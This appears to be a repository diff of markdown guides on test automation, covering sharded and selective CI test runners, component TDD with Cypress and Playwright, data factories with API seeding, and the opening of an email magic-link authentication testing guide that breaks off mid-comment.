console.error('\n❌ Test suite failed');
process.exit(1);
}
console.log('\n✅ All tests passed');
process.exit(0);
}
main().catch((error) => {
console.error('Fatal error:', error);
process.exit(1);
});
```
**package.json integration**:
```json
{
"scripts": {
"test:sharded": "node scripts/run-sharded-tests.js",
"test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
}
}
```
**Key Points**:
- **Parallel shard execution**: All shards run simultaneously
- **Result aggregation**: Unified summary across shards
- **Failure detection**: Exit code reflects overall test status
- **Artifact preservation**: Individual shard results saved for debugging
- **CI/local compatibility**: Same script works in both environments
---
### Example 4: Selective Test Execution (Changed Files + Tags)
**Context**: Optimize CI by running only relevant tests based on file changes and tags.
**Implementation**:
```bash
#!/bin/bash
# scripts/selective-test-runner.sh
# Intelligent test selection based on changed files and test tags
set -e
BASE_BRANCH=${BASE_BRANCH:-main}
TEST_ENV=${TEST_ENV:-local}
echo "🎯 Selective Test Runner"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Base branch: $BASE_BRANCH"
echo "Environment: $TEST_ENV"
echo ""
# Detect changed files (all types, not just tests)
CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
if [ -z "$CHANGED_FILES" ]; then
echo "✅ No files changed. Skipping tests."
exit 0
fi
echo "Changed files:"
echo "$CHANGED_FILES" | sed 's/^/ - /'
echo ""
# Determine test strategy based on changes
run_smoke_only=false
run_all_tests=false
affected_specs=""
# Critical files = run all tests
if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
echo "⚠️ Critical configuration files changed. Running ALL tests."
run_all_tests=true
# Auth/security changes = run all auth + smoke tests
elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
echo "🔒 Auth/security files changed. Running auth + smoke tests."
npm run test -- --grep "@auth|@smoke"
exit $?
# API changes = run integration + smoke tests
elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
echo "🔌 API files changed. Running integration + smoke tests."
npm run test -- --grep "@integration|@smoke"
exit $?
# UI component changes = run related component tests
elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
echo "🎨 UI components changed. Running component + smoke tests."
# Extract component names and find related tests
components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
for component in $components; do
# Find tests matching component name
affected_specs+=$(find tests -name "*${component}*" -type f) || true
done
if [ -n "$affected_specs" ]; then
echo "Running tests for: $affected_specs"
npm run test -- $affected_specs --grep "@smoke"
else
echo "No specific tests found. Running smoke tests only."
npm run test -- --grep "@smoke"
fi
exit $?
# Documentation/config only = run smoke tests
elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
echo "📝 Documentation/config files changed. Running smoke tests only."
run_smoke_only=true
else
echo "⚙️ Other files changed. Running smoke tests."
run_smoke_only=true
fi
# Execute selected strategy
if [ "$run_all_tests" = true ]; then
echo ""
echo "Running full test suite..."
npm run test
elif [ "$run_smoke_only" = true ]; then
echo ""
echo "Running smoke tests..."
npm run test -- --grep "@smoke"
fi
```
**Usage in GitHub Actions**:
```yaml
# .github/workflows/selective-tests.yml
name: Selective Tests
on: pull_request
jobs:
selective-tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Run selective tests
run: bash scripts/selective-test-runner.sh
env:
BASE_BRANCH: ${{ github.base_ref }}
TEST_ENV: staging
```
**Key Points**:
- **Intelligent routing**: Tests selected based on changed file types
- **Tag-based filtering**: Use @smoke, @auth, @integration tags
- **Fast feedback**: Only relevant tests run on most PRs
- **Safety net**: Critical changes trigger full suite
- **Component mapping**: UI changes run related component tests
---
## CI Configuration Checklist
Before deploying your CI pipeline, verify:
- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
## Integration Points
- Used in workflows: `*ci` (CI/CD pipeline setup)
- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_

View File

@@ -0,0 +1,486 @@
# Component Test-Driven Development Loop
## Principle
Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
## Rationale
Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
## Pattern Examples
### Example 1: Red-Green-Refactor Loop
**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
**Implementation**:
```typescript
// Step 1: RED - Write failing test
// Button.cy.tsx (Cypress Component Test)
import { Button } from './Button';
describe('Button Component', () => {
it('should render with label', () => {
cy.mount(<Button label="Click Me" />);
cy.contains('Click Me').should('be.visible');
});
it('should call onClick when clicked', () => {
const onClickSpy = cy.stub().as('onClick');
cy.mount(<Button label="Submit" onClick={onClickSpy} />);
cy.get('button').click();
cy.get('@onClick').should('have.been.calledOnce');
});
});
// Run test: FAILS - Button component doesn't exist yet
// Error: "Cannot find module './Button'"
// Step 2: GREEN - Minimal implementation
// Button.tsx
type ButtonProps = {
label: string;
onClick?: () => void;
};
export const Button = ({ label, onClick }: ButtonProps) => {
return <button onClick={onClick}>{label}</button>;
};
// Run test: PASSES - Component renders and handles clicks
// Step 3: REFACTOR - Improve implementation
// Add disabled state, loading state, variants
type ButtonProps = {
label: string;
onClick?: () => void;
disabled?: boolean;
loading?: boolean;
variant?: 'primary' | 'secondary' | 'danger';
};
export const Button = ({
label,
onClick,
disabled = false,
loading = false,
variant = 'primary'
}: ButtonProps) => {
return (
<button
onClick={onClick}
disabled={disabled || loading}
className={`btn btn-${variant}`}
data-testid="button"
>
{loading ? <Spinner /> : label}
</button>
);
};
// Step 4: Expand tests for new features
describe('Button Component', () => {
it('should render with label', () => {
cy.mount(<Button label="Click Me" />);
cy.contains('Click Me').should('be.visible');
});
it('should call onClick when clicked', () => {
const onClickSpy = cy.stub().as('onClick');
cy.mount(<Button label="Submit" onClick={onClickSpy} />);
cy.get('button').click();
cy.get('@onClick').should('have.been.calledOnce');
});
it('should be disabled when disabled prop is true', () => {
cy.mount(<Button label="Submit" disabled={true} />);
cy.get('button').should('be.disabled');
});
it('should show spinner when loading', () => {
cy.mount(<Button label="Submit" loading={true} />);
cy.get('[data-testid="spinner"]').should('be.visible');
cy.get('button').should('be.disabled');
});
it('should apply variant styles', () => {
cy.mount(<Button label="Delete" variant="danger" />);
cy.get('button').should('have.class', 'btn-danger');
});
});
// Run tests: ALL PASS - Refactored component still works
// Playwright Component Test equivalent
import { test, expect } from '@playwright/experimental-ct-react';
import { Button } from './Button';
test.describe('Button Component', () => {
test('should call onClick when clicked', async ({ mount }) => {
let clicked = false;
const component = await mount(
<Button label="Submit" onClick={() => { clicked = true; }} />
);
await component.getByRole('button').click();
expect(clicked).toBe(true);
});
test('should be disabled when loading', async ({ mount }) => {
const component = await mount(<Button label="Submit" loading={true} />);
await expect(component.getByRole('button')).toBeDisabled();
await expect(component.getByTestId('spinner')).toBeVisible();
});
});
```
**Key Points**:
- Red: Write failing test first - clarifies requirements before coding
- Green: Implement minimal code to pass - prevents over-engineering
- Refactor: Improve code quality while keeping tests green
- Expand: Add tests for new features after refactoring
- Cycle repeats: Each new feature starts with a failing test
### Example 2: Provider Isolation Pattern
**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
**Implementation**:
```typescript
// test-utils/AllTheProviders.tsx
import { FC, ReactNode } from 'react';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { BrowserRouter } from 'react-router-dom';
import { AuthProvider } from '../contexts/AuthContext';
type Props = {
children: ReactNode;
initialAuth?: { user: User | null; token: string | null };
};
export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
// Create NEW QueryClient per test (prevent state bleed)
const queryClient = new QueryClient({
defaultOptions: {
queries: { retry: false },
mutations: { retry: false }
}
});
return (
<QueryClientProvider client={queryClient}>
<BrowserRouter>
<AuthProvider initialAuth={initialAuth}>
{children}
</AuthProvider>
</BrowserRouter>
</QueryClientProvider>
);
};
// Cypress custom mount command
// cypress/support/component.tsx
import { mount } from 'cypress/react18';
import { AllTheProviders } from '../../test-utils/AllTheProviders';
Cypress.Commands.add('wrappedMount', (component, options = {}) => {
const { initialAuth, ...mountOptions } = options;
return mount(
<AllTheProviders initialAuth={initialAuth}>
{component}
</AllTheProviders>,
mountOptions
);
});
// Usage in tests
// UserProfile.cy.tsx
import { UserProfile } from './UserProfile';
describe('UserProfile Component', () => {
it('should display user when authenticated', () => {
const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
cy.wrappedMount(<UserProfile />, {
initialAuth: { user, token: 'fake-token' }
});
cy.contains('John Doe').should('be.visible');
cy.contains('john@example.com').should('be.visible');
});
it('should show login prompt when not authenticated', () => {
cy.wrappedMount(<UserProfile />, {
initialAuth: { user: null, token: null }
});
cy.contains('Please log in').should('be.visible');
});
});
// Playwright Component Test with providers
import { test, expect } from '@playwright/experimental-ct-react';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { UserProfile } from './UserProfile';
import { AuthProvider } from '../contexts/AuthContext';
test.describe('UserProfile Component', () => {
test('should display user when authenticated', async ({ mount }) => {
const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
const queryClient = new QueryClient();
const component = await mount(
<QueryClientProvider client={queryClient}>
<AuthProvider initialAuth={{ user, token: 'fake-token' }}>
<UserProfile />
</AuthProvider>
</QueryClientProvider>
);
await expect(component.getByText('John Doe')).toBeVisible();
await expect(component.getByText('john@example.com')).toBeVisible();
});
});
```
**Key Points**:
- Create NEW providers per test (QueryClient, Router, Auth)
- Prevents state pollution between tests
- `initialAuth` prop allows testing different auth states
- Custom mount command (`wrappedMount`) reduces boilerplate
- Providers wrap component, not the entire test suite
### Example 3: Accessibility Assertions
**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
**Implementation**:
```typescript
// Cypress with axe-core
// cypress/support/component.tsx
import 'cypress-axe';
// Form.cy.tsx
import { Form } from './Form';
describe('Form Component Accessibility', () => {
beforeEach(() => {
cy.wrappedMount(<Form />);
cy.injectAxe(); // Inject axe-core
});
it('should have no accessibility violations', () => {
cy.checkA11y(); // Run axe scan
});
it('should have proper ARIA labels', () => {
cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
});
it('should support keyboard navigation', () => {
// Tab through form fields
cy.get('input[name="email"]').focus().type('test@example.com');
cy.realPress('Tab'); // cypress-real-events plugin
cy.focused().should('have.attr', 'name', 'password');
cy.focused().type('password123');
cy.realPress('Tab');
cy.focused().should('have.attr', 'type', 'submit');
cy.realPress('Enter'); // Submit via keyboard
cy.contains('Form submitted').should('be.visible');
});
it('should announce errors to screen readers', () => {
cy.get('button[type="submit"]').click(); // Submit without data
// Error has role="alert" and aria-live="polite"
cy.get('[role="alert"]')
.should('be.visible')
.and('have.attr', 'aria-live', 'polite')
.and('contain', 'Email is required');
});
it('should have sufficient color contrast', () => {
cy.checkA11y(null, {
rules: {
'color-contrast': { enabled: true }
}
});
});
});
// Playwright with axe-playwright
import { test, expect } from '@playwright/experimental-ct-react';
import AxeBuilder from '@axe-core/playwright';
import { Form } from './Form';
test.describe('Form Component Accessibility', () => {
test('should have no accessibility violations', async ({ mount, page }) => {
await mount(<Form />);
const accessibilityScanResults = await new AxeBuilder({ page })
.analyze();
expect(accessibilityScanResults.violations).toEqual([]);
});
test('should support keyboard navigation', async ({ mount, page }) => {
const component = await mount(<Form />);
await component.getByLabel('Email address').fill('test@example.com');
await page.keyboard.press('Tab');
await expect(component.getByLabel('Password')).toBeFocused();
await component.getByLabel('Password').fill('password123');
await page.keyboard.press('Tab');
await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
await page.keyboard.press('Enter');
await expect(component.getByText('Form submitted')).toBeVisible();
});
});
```
**Key Points**:
- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
- Validate ARIA roles, labels, and live regions
- Test keyboard navigation (Tab, Enter, Escape)
- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
- Check color contrast meets WCAG standards
### Example 4: Visual Regression Test
**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
**Implementation**:
```typescript
// Playwright visual regression
import { test, expect } from '@playwright/experimental-ct-react';
import { Button } from './Button';
test.describe('Button Visual Regression', () => {
test('should match primary button snapshot', async ({ mount }) => {
const component = await mount(<Button label="Primary" variant="primary" />);
// Capture and compare screenshot
await expect(component).toHaveScreenshot('button-primary.png');
});
test('should match secondary button snapshot', async ({ mount }) => {
const component = await mount(<Button label="Secondary" variant="secondary" />);
await expect(component).toHaveScreenshot('button-secondary.png');
});
test('should match disabled button snapshot', async ({ mount }) => {
const component = await mount(<Button label="Disabled" disabled={true} />);
await expect(component).toHaveScreenshot('button-disabled.png');
});
test('should match loading button snapshot', async ({ mount }) => {
const component = await mount(<Button label="Loading" loading={true} />);
await expect(component).toHaveScreenshot('button-loading.png');
});
});
// Cypress visual regression with percy or snapshot plugins
import { Button } from './Button';
describe('Button Visual Regression', () => {
it('should match primary button snapshot', () => {
cy.wrappedMount(<Button label="Primary" variant="primary" />);
// Option 1: Percy (cloud-based visual testing)
cy.percySnapshot('Button - Primary');
// Option 2: cypress-plugin-snapshots (local snapshots)
cy.get('button').toMatchImageSnapshot({
name: 'button-primary',
threshold: 0.01 // 1% threshold for pixel differences
});
});
it('should match hover state', () => {
cy.wrappedMount(<Button label="Hover Me" />);
cy.get('button').realHover(); // cypress-real-events
cy.percySnapshot('Button - Hover State');
});
it('should match focus state', () => {
cy.wrappedMount(<Button label="Focus Me" />);
cy.get('button').focus();
cy.percySnapshot('Button - Focus State');
});
});
// Playwright configuration for visual regression
// playwright.config.ts
export default defineConfig({
expect: {
toHaveScreenshot: {
maxDiffPixels: 100, // Allow 100 pixels difference
threshold: 0.2 // 20% threshold
}
},
use: {
screenshot: 'only-on-failure'
}
});
// Update snapshots when intentional changes are made
// npx playwright test --update-snapshots
```
**Key Points**:
- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
- Capture different states: default, hover, focus, disabled, loading
- Set threshold for acceptable pixel differences (avoid false positives)
- Update snapshots when visual changes are intentional
- Visual tests catch unintended CSS/layout regressions
## Integration Points
- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
- **Related fragments**:
- `test-quality.md` - Keep component tests <100 lines, isolated, focused
- `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
- `data-factories.md` - Factory functions for component props
- `test-levels-framework.md` - When to use component tests vs E2E tests
## TDD Workflow Summary
**Red-Green-Refactor Cycle**:
1. **Red**: Write failing test describing desired behavior
2. **Green**: Implement minimal code to make test pass
3. **Refactor**: Improve code quality, tests stay green
4. **Repeat**: Each new feature starts with failing test
**Component Test Checklist**:
- [ ] Test renders with required props
- [ ] Test user interactions (click, type, submit)
- [ ] Test different states (loading, error, disabled)
- [ ] Test accessibility (ARIA, keyboard navigation)
- [ ] Test visual regression (snapshots)
- [ ] Isolate with fresh providers (no state bleed)
- [ ] Keep tests <100 lines (split by intent)
_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,500 @@
# Data Factories and API-First Setup
## Principle
Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
## Rationale
Static fixtures (JSON files, hardcoded objects) create brittle tests that:
- Fail when schemas evolve (missing new required fields)
- Cause collisions in parallel execution (same user IDs)
- Hide test intent (what matters for _this_ test?)
Dynamic factories with overrides provide:
- **Parallel safety**: UUIDs and timestamps prevent collisions
- **Schema evolution**: Defaults adapt to schema changes automatically
- **Explicit intent**: Overrides show what matters for each test
- **Speed**: API setup is 10-50x faster than UI
## Pattern Examples
### Example 1: Factory Function with Overrides
**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
**Implementation**:
```typescript
// test-utils/factories/user-factory.ts
import { faker } from '@faker-js/faker';
type User = {
id: string;
email: string;
name: string;
role: 'user' | 'admin' | 'moderator';
createdAt: Date;
isActive: boolean;
};
export const createUser = (overrides: Partial<User> = {}): User => ({
id: faker.string.uuid(),
email: faker.internet.email(),
name: faker.person.fullName(),
role: 'user',
createdAt: new Date(),
isActive: true,
...overrides,
});
// test-utils/factories/product-factory.ts
type Product = {
id: string;
name: string;
price: number;
stock: number;
category: string;
};
export const createProduct = (overrides: Partial<Product> = {}): Product => ({
id: faker.string.uuid(),
name: faker.commerce.productName(),
price: parseFloat(faker.commerce.price()),
stock: faker.number.int({ min: 0, max: 100 }),
category: faker.commerce.department(),
...overrides,
});
// Usage in tests:
test('admin can delete users', async ({ page, apiRequest }) => {
// Default user
const user = createUser();
// Admin user (explicit override shows intent)
const admin = createUser({ role: 'admin' });
// Seed via API (fast!)
await apiRequest({ method: 'POST', url: '/api/users', data: user });
await apiRequest({ method: 'POST', url: '/api/users', data: admin });
// Now test UI behavior
await page.goto('/admin/users');
await page.click(`[data-testid="delete-user-${user.id}"]`);
await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
});
```
**Key Points**:
- `Partial<User>` allows overriding any field without breaking type safety
- Faker generates unique values—no collisions in parallel tests
- Override shows test intent: `createUser({ role: 'admin' })` is explicit
- Factory lives in `test-utils/factories/` for easy reuse
### Example 2: Nested Factory Pattern
**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
**Implementation**:
```typescript
// test-utils/factories/order-factory.ts
import { createUser } from './user-factory';
import { createProduct } from './product-factory';
type OrderItem = {
product: Product;
quantity: number;
price: number;
};
type Order = {
id: string;
user: User;
items: OrderItem[];
total: number;
status: 'pending' | 'paid' | 'shipped' | 'delivered';
createdAt: Date;
};
export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
const product = overrides.product || createProduct();
const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
return {
product,
quantity,
price: product.price * quantity,
...overrides,
};
};
export const createOrder = (overrides: Partial<Order> = {}): Order => {
const items = overrides.items || [createOrderItem(), createOrderItem()];
const total = items.reduce((sum, item) => sum + item.price, 0);
return {
id: faker.string.uuid(),
user: overrides.user || createUser(),
items,
total,
status: 'pending',
createdAt: new Date(),
...overrides,
};
};
// Usage in tests:
test('user can view order details', async ({ page, apiRequest }) => {
const user = createUser({ email: 'test@example.com' });
const product1 = createProduct({ name: 'Widget A', price: 10.0 });
const product2 = createProduct({ name: 'Widget B', price: 15.0 });
// Explicit relationships
const order = createOrder({
user,
items: [
createOrderItem({ product: product1, quantity: 2 }), // $20
createOrderItem({ product: product2, quantity: 1 }), // $15
],
});
// Seed via API
await apiRequest({ method: 'POST', url: '/api/users', data: user });
await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
await apiRequest({ method: 'POST', url: '/api/orders', data: order });
// Test UI
await page.goto(`/orders/${order.id}`);
await expect(page.getByText('Widget A x 2')).toBeVisible();
await expect(page.getByText('Widget B x 1')).toBeVisible();
await expect(page.getByText('Total: $35.00')).toBeVisible();
});
```
**Key Points**:
- Nested factories handle relationships (order → user, order → products)
- Overrides cascade: provide custom user/products or use defaults
- Calculated fields (total) derived automatically from nested data
- Explicit relationships make test data clear and maintainable
### Example 3: Factory with API Seeding
**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
**Implementation**:
```typescript
// playwright/support/helpers/seed-helpers.ts
import { APIRequestContext } from '@playwright/test';
import { User, createUser } from '../../test-utils/factories/user-factory';
import { Product, createProduct } from '../../test-utils/factories/product-factory';
export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
const user = createUser(overrides);
const response = await request.post('/api/users', {
data: user,
});
if (!response.ok()) {
throw new Error(`Failed to seed user: ${response.status()}`);
}
return user;
}
export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
const product = createProduct(overrides);
const response = await request.post('/api/products', {
data: product,
});
if (!response.ok()) {
throw new Error(`Failed to seed product: ${response.status()}`);
}
return product;
}
// Playwright globalSetup for shared data
// playwright/support/global-setup.ts
import { chromium, FullConfig } from '@playwright/test';
import { seedUser } from './helpers/seed-helpers';
async function globalSetup(config: FullConfig) {
const browser = await chromium.launch();
const page = await browser.newPage();
const context = page.context();
// Seed admin user for all tests
const admin = await seedUser(context.request, {
email: 'admin@example.com',
role: 'admin',
});
// Save auth state for reuse
await context.storageState({ path: 'playwright/.auth/admin.json' });
await browser.close();
}
export default globalSetup;
// Cypress equivalent with cy.task
// cypress/support/tasks.ts
export const seedDatabase = async (entity: string, data: unknown) => {
// Direct database insert or API call
if (entity === 'users') {
await db.users.create(data);
}
return null;
};
// Usage in Cypress tests:
beforeEach(() => {
const user = createUser({ email: 'test@example.com' });
cy.task('db:seed', { entity: 'users', data: user });
});
```
**Key Points**:
- API seeding is 10-50x faster than UI-based setup
- `globalSetup` seeds shared data once (e.g., admin user)
- Per-test seeding uses `seedUser()` helpers for isolation
- Cypress `cy.task` allows direct database access for speed
### Example 4: Anti-Pattern - Hardcoded Test Data
**Problem**:
```typescript
// ❌ BAD: Hardcoded test data
test('user can login', async ({ page }) => {
await page.goto('/login');
await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
await page.click('[data-testid="submit"]');
// What if this user already exists? Test fails in parallel runs.
// What if schema adds required fields? Test breaks.
});
// ❌ BAD: Static JSON fixtures
// fixtures/users.json
{
"users": [
{ "id": 1, "email": "user1@test.com", "name": "User 1" },
{ "id": 2, "email": "user2@test.com", "name": "User 2" }
]
}
test('admin can delete user', async ({ page }) => {
const users = require('../fixtures/users.json');
// Brittle: IDs collide in parallel, schema drift breaks tests
});
```
**Why It Fails**:
- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
- **Slow setup**: UI-based data creation is 10-50x slower than API
**Better Approach**: Use factories
```typescript
// ✅ GOOD: Factory-based data
test('user can login', async ({ page, apiRequest }) => {
const user = createUser({ email: 'unique@example.com', password: 'secure123' });
// Seed via API (fast, parallel-safe)
await apiRequest({ method: 'POST', url: '/api/users', data: user });
// Test UI
await page.goto('/login');
await page.fill('[data-testid="email"]', user.email);
await page.fill('[data-testid="password"]', user.password);
await page.click('[data-testid="submit"]');
await expect(page).toHaveURL('/dashboard');
});
// ✅ GOOD: Factories adapt to schema changes automatically
// When `phoneNumber` becomes required, update factory once:
export const createUser = (overrides: Partial<User> = {}): User => ({
id: faker.string.uuid(),
email: faker.internet.email(),
name: faker.person.fullName(),
phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
role: 'user',
...overrides,
});
```
**Key Points**:
- Factories generate unique, parallel-safe data
- Schema evolution handled in one place (factory), not every test
- Test intent explicit via overrides
- API seeding is fast and reliable
### Example 5: Factory Composition
**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
**Implementation**:
```typescript
// test-utils/factories/user-factory.ts (base)
export const createUser = (overrides: Partial<User> = {}): User => ({
id: faker.string.uuid(),
email: faker.internet.email(),
name: faker.person.fullName(),
role: 'user',
createdAt: new Date(),
isActive: true,
...overrides,
});
// Compose specialized factories
export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
// Account-level factories with feature flags
type Account = {
id: string;
owner: User;
plan: 'free' | 'pro' | 'enterprise';
features: string[];
maxUsers: number;
};
export const createAccount = (overrides: Partial<Account> = {}): Account => ({
id: faker.string.uuid(),
owner: overrides.owner || createUser(),
plan: 'free',
features: [],
maxUsers: 1,
...overrides,
});
export const createProAccount = (overrides: Partial<Account> = {}): Account =>
createAccount({
plan: 'pro',
features: ['advanced-analytics', 'priority-support'],
maxUsers: 10,
...overrides,
});
export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
createAccount({
plan: 'enterprise',
features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
maxUsers: 100,
...overrides,
});
// Usage in tests:
test('pro accounts can access analytics', async ({ page, apiRequest }) => {
const admin = createAdminUser({ email: 'admin@company.com' });
const account = createProAccount({ owner: admin });
await apiRequest({ method: 'POST', url: '/api/users', data: admin });
await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
await page.goto('/analytics');
await expect(page.getByText('Advanced Analytics')).toBeVisible();
});
test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
const user = createUser({ email: 'user@company.com' });
const account = createAccount({ owner: user }); // Defaults to free plan
await apiRequest({ method: 'POST', url: '/api/users', data: user });
await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
await page.goto('/analytics');
await expect(page.getByText('Upgrade to Pro')).toBeVisible();
});
```
**Key Points**:
- Compose specialized factories from base factories (`createAdminUser``createUser`)
- Defaults cascade: `createProAccount` sets plan + features automatically
- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
## Integration Points
- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
- **Related fragments**:
- `fixture-architecture.md` - Pure functions and fixtures for factory integration
- `network-first.md` - API-first setup patterns
- `test-quality.md` - Parallel-safe, deterministic test design
## Cleanup Strategy
Ensure factories work with cleanup patterns:
```typescript
// Track created IDs for cleanup
const createdUsers: string[] = [];
afterEach(async ({ apiRequest }) => {
// Clean up all users created during test
for (const userId of createdUsers) {
await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
}
createdUsers.length = 0;
});
test('user registration flow', async ({ page, apiRequest }) => {
const user = createUser();
createdUsers.push(user.id);
await apiRequest({ method: 'POST', url: '/api/users', data: user });
// ... test logic
});
```
## Feature Flag Integration
When working with feature flags, layer them into factories:
```typescript
export const createUserWithFlags = (
overrides: Partial<User> = {},
flags: Record<string, boolean> = {},
): User & { flags: Record<string, boolean> } => ({
...createUser(overrides),
flags: {
'new-dashboard': false,
'beta-features': false,
...flags,
},
});
// Usage:
const user = createUserWithFlags(
{ email: 'test@example.com' },
{
'new-dashboard': true,
'beta-features': true,
},
);
```
_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._

View File

@@ -0,0 +1,721 @@
# Email-Based Authentication Testing
## Principle
Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
## Rationale
Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
## Pattern Examples
### Example 1: Magic Link Extraction with Mailosaur
**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
**Implementation**:
```typescript
// tests/e2e/magic-link-auth.spec.ts
import { test, expect } from '@playwright/test';
/**
* Magic Link Authentication Flow
* 1. User enters email
* 2. Backend sends magic link
* 3. Test retrieves email via Mailosaur
* 4. Extract and visit magic link
* 5. Verify user is authenticated
*/
// Mailosaur configuration
const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
/**
* Extract href from HTML email body
* DOMParser provides XML/HTML parsing in Node.js
*/
function extractMagicLink(htmlString: string): string | null {
const { JSDOM } = require('jsdom');
const dom = new JSDOM(htmlString);
const link = dom.window.document.querySelector('#magic-link-button');
return link ? (link as HTMLAnchorElement).href : null;
}
/**
